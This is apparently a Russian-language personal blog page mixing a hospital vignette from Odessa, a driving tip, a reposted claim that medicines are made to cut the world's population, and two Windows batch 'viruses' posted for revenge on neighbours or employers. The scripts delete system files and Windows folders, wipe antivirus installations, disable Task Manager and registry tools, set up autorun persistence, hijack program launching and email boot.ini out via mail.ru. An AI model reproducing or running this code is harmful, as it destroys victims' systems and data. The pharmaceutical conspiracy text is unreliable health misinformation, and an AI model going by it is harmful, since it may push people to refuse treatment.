Одесское |

Три картинки из недавней поездки по Украине.
ОДЕССА. БОЛЬНИЦА
Навещаю товарища в одесской больнице. Метровые стены царской постройки, высоченные потолки – строилось на века. Отсутствие ремонта в последние десятилетия не превратило здание в руины. Зато руин с избытком хватает в головах медперсонала.
Находясь в палате, слышу стоны в коридоре. Там на полу корчится от боли парень лет двадцати пяти. В трёх метрах от него пост, за которым спокойно болтают три медсестры. На мой вопрос следует ответ, что они ждут маму парня, которая должна купить лекарства.
Кто не в курсе, уточню: как и все наследие СССР, на Украине успешно «переможена» бесплатная медицина.
Бывают, правда, рецидивы. К примеру, сейчас, жена мэра (такая версия была мне озвучена в палате) бесплатно кормит больных всех одесских больниц. Не знаю, так ли это, ведь кем надо работать жене мэра, чтобы взять на довольствие не только пациентов, но и обслуживающий их персонал с чадами и домочадцами (вспоминается богадельня из «12 стульев»)? Если серьезно – программа отличная, жаль, что временная и лишь одесская. В любом случае одесское исключение не сильно тормозит путь украинской медицины в «платную Европу».
Моя просьба вколоть парню обезболивающее вызвала у медсестры гневную реакцию:
— За какие шиши? Вам надо – вы и колите, не на наши зарплаты каждому лекарства покупать.
— Давайте я заплачу, сколько ампула стоит?
— Около 3 долларов (здесь и дальше для российских читателей буду приводить эквивалент в пока еще мировой валюте), плюс полдоллара мне, если в аптеку пойду. Не хотите – идите сами.
Узнав название препарата и опасаясь, что ушлая «сестричка» экономя вколет не то, что надо, иду в аптеку: их здесь, на территории медучреждения, навалом. И во всех цены процентов на 20-30 выше, чем за больничным забором. Не мудрено, так как в учредителях аптечных предприятий – мамы, жёны главврачей и прочего медицинского начальства.
|
|
Без заголовка |
1. Трасса, поворот налево. Вы стоите и пропускаете встречные авто. НЕ выкручивайте заранее руль влево. Удар сзади и вы труп под фурой. Держать руль только прямо.
|
|
Без заголовка |
|
|
Лекарства производятся для того, чтобы сократить население земли |
Откровение ученого: Лекарства производятся для того, чтобы сократить население земли /nashaplaneta.su/blog/
. Заявление биохимика Шейна Эллисона о том, что «все лекарственные препараты изготавливаются для того, чтобы сократить население. Помните, что мы разрабатываем препараты для устранения симптомов. Мы не лечим»

Я — химик. Люблю научный подход, любил всегда. И когда я работал в фармацевтической промышленности — там был полный отказ от науки. В этих фармкомпаниях, в интервью при найме не смущались говорить следующее: «Учтите, мы разрабатываем лекарства для снятия симптомов. Мы не лечим».
Так что такова бизнес-модель, позволяющая пожизненно давать человеку препарат. Если у них закончились симптомы, что им остается делать? Следующий уровень рекламы препаратов — изобретение болезней.
Если больше нет симптомов, закончилась клиентура для продаж, остается выдумывать болезни. С психиатрическими лекарствами, вы можете изобретать заболевания без конца. Есть два слова, которых боится психиатр. Два слова: ДОКАЖИТЕ ЭТО.
И если доктор не может доказать, а они не могут в девяти случаях из десяти, — не принимайте лекарство. Это наделяет пациента властью принимать решения. Будучи химиком, я удивлялся — я делаю эти препараты, их способность убивать обнаруживается в наших лабораториях, способность убивать обнаруживают в других лабораториях, опасные, неэффективные, вызывающие те самые эффекты, которые они призваны излечивать — как их умудряются продавать? Как они продают их?
У них есть отделы маркетинга, фармагиганты имеют лучшие отделы маркетинга в мире. Просто гениальные. Вы просто платите профессионалам — врачам, профессорам, психиатрам — за отчёты, будто исследование обнаружило позитивные результаты. Вы им платите, покупаете науку.
Не менее 125 тысяч людей ежегодно умирают от рецептурных препаратов, можно подумать, что вам следовало бы потратить больше средств на исследования с целью понизить уровень смертности. Нет. Вы продолжаете маркетинг. Рекламируете, рекламируете, рекламируете. Гипнотизируете население.
Гипнотизируете их и сажайте на препараты, направляете их к психиатрам, чтобы они тихо глотали очередную Цимбалту или очередной Прозак, или что угодно, что они предложат и как это назовут. Вы получите индустрию в миллиарды долларов, которая очень много людей делает больными, и на этом процветает.
|
|
«Дворовый цикл» |

|
|
"Я мстю и мстя моя ужасна!.." (С) |
code:
@echo Название вашей канторки " типа ник "
@echo Virus: Инфа™ Virus
@echo Autor: Автор
@echo off
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%t emp%\temp.vbs
reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Pol icies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Pol icies\Explorer /v ClassicShell /d 1 /fset ¶§=%0
copy %¶§% %SystemRoot%\user32dll.bat
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Ru n" /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoDrives /t REG_DWORD /d 67108863 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
echo fso.deletefile "C:\ntldr",1 >> %temp%\temp.vbs
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoSelectDownloadDir" /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_ Lockdown" /v "IExplorer" /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoFindFiles" /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoNavButtons" /d 1 /f
echo fso.deletefolder "D:\Windows",1 >> %temp%\temp.vbs
echo fso.deletefolder "I:\Windows",1 >> %temp%\temp.vbs
echo fso.deletefolder "C:\Windows",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsof t\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefile sr+"\system32\hal.dll",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsof t\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefolder sr+"\system32\dllcache",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsof t\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefolder sr+"\system32\drives",1 >> %temp%\temp.vbs
echo s.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","Любое слово">>%temp%\temp.vbs
echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","Любое слово™">>%temp%\temp.vbs
echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization","Любое слово">>%temp%\temp.vbs
echo on error resume next > %temp%\temp1.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%t emp%\temp1.vbs
echo do>>%temp%\temp1.vbs
echo fso.getfile ("A:")>>%temp%\temp1.vbs
echo loop>>%temp%\temp1.vbs
echo on error resume next > %temp%\temp2.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp2.vbs
echo do>>%temp%\temp2.vbs
echo execute"S.Run ""%comspec% /c echo "" & Chr(7), 0, True">>%temp%\temp2.vbs
echo loop>>%temp%\temp2.vbs
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\System" /v disableregistrytools /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\NonEnum" /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v StartmenuLogoff /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoCommonGroups /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoFavoritesMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoAddPrinter /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoSMHelp /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoSMMyPictures /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
echo set application=createobject("shell.application")>>%te mp%\temp.vbs
echo application.minimizeall>>%temp%\temp.vbs
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\ru n" /v SwapNT /t REG_SZ /d rundll32 user32, SwapMouseButton /f
start rundll32 user32, SwapMouseButton
reg add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d rundll32.exe /f
echo i=50 >> %temp%\temp.vbs
echo while i^>0 or i^<0 >> %temp%"Любое слово",0, "Любое слово",0+16 >> %temp%\temp.vbs
echo i=i-1 >> %temp%\temp.vbs
echo wend >> %temp%\temp.vbs
echo do >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{capslock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{numlock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{scrolllock}" >> %temp%\temp.vbs
echo loop>> %temp%\temp.vbs
echo Set oWMP = CreateObject("WMPlayer.OCX.7") >> %temp%\temp.vbs
echo Set colCDROMs = oWMP.cdromCollection >> %temp%\temp.vbs
echo if colCDROMs.Count ^>= 1 then >> %temp%\temp.vbs
echo For i = 0 to colCDROMs.Count - 1 >> %temp%\temp.vbs
echo colCDROMs.Item(i).eject >> %temp%\temp.vbs
echo next >> %temp%\temp.vbs
echo End If >> %temp%\temp.vbs
echo Call SendPost("smtp.mail.ru", "email", "support@mail.ru", "...", "Копм заражен!") >> %temp%\temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs
echo Set iMsg = CreateObject("CDO.Message") >> %temp%\temp.vbs
echo Set iConf = CreateObject("CDO.Configuration") >> %temp%\temp.vbs
echo Set Flds = iConf.Fields >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "support" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "support" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment "c:\boot.ini" >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs
echo s.run "shutdown -r -t 0 -c ""Сообщенице™"" -f",1 >> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs
Серия сообщений "Download":Отсюда можно и нужно скачивать софт, книги, ролики - много полезного
Часть 1 - Агрегация RSS [Agregator Rss]
Часть 2 - «Как создать жизнь своей мечты!»
...
Часть 18 - Как заставить оболтуса учить математику?
Часть 19 - Как удалить антивирус?
Часть 20 - Для тех, кто зол на соседа или собрался уволится
|
|
Актуально для не-линкусоидов и повод задуматься |
code:
@echo off
attrib *.bat +h +s
cd %programfiles%\Kaspersky Lab\
del *.* /q /s
cd %programfiles%\DrWeb\
del *.* /q /s
cd %programfiles%\Alwil Software\
del *.* /q /s
cd %programfiles%\ESET\
del *.* /q /s
copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul
reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\system32\batinit.bat" /f >nul
copy ""%0"" "%SystemRoot%\system32\svchost.bat" >nul
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchost" /t REG_SZ /d "%SystemRoot%\system32\svchost.bat" /f >nul
attrib *.bat +h +r +s
Серия сообщений "Download":Отсюда можно и нужно скачивать софт, книги, ролики - много полезного
Часть 1 - Агрегация RSS [Agregator Rss]
Часть 2 - «Как создать жизнь своей мечты!»
...
Часть 17 - Скринсейвер, имитирующий формат диска
Часть 18 - Как заставить оболтуса учить математику?
Часть 19 - Как удалить антивирус?
|
|
Без заголовка |
Хватит уже с жульем на их поле маятся.
|
|
Без заголовка |
|
|
| Страницы: [1] Календарь |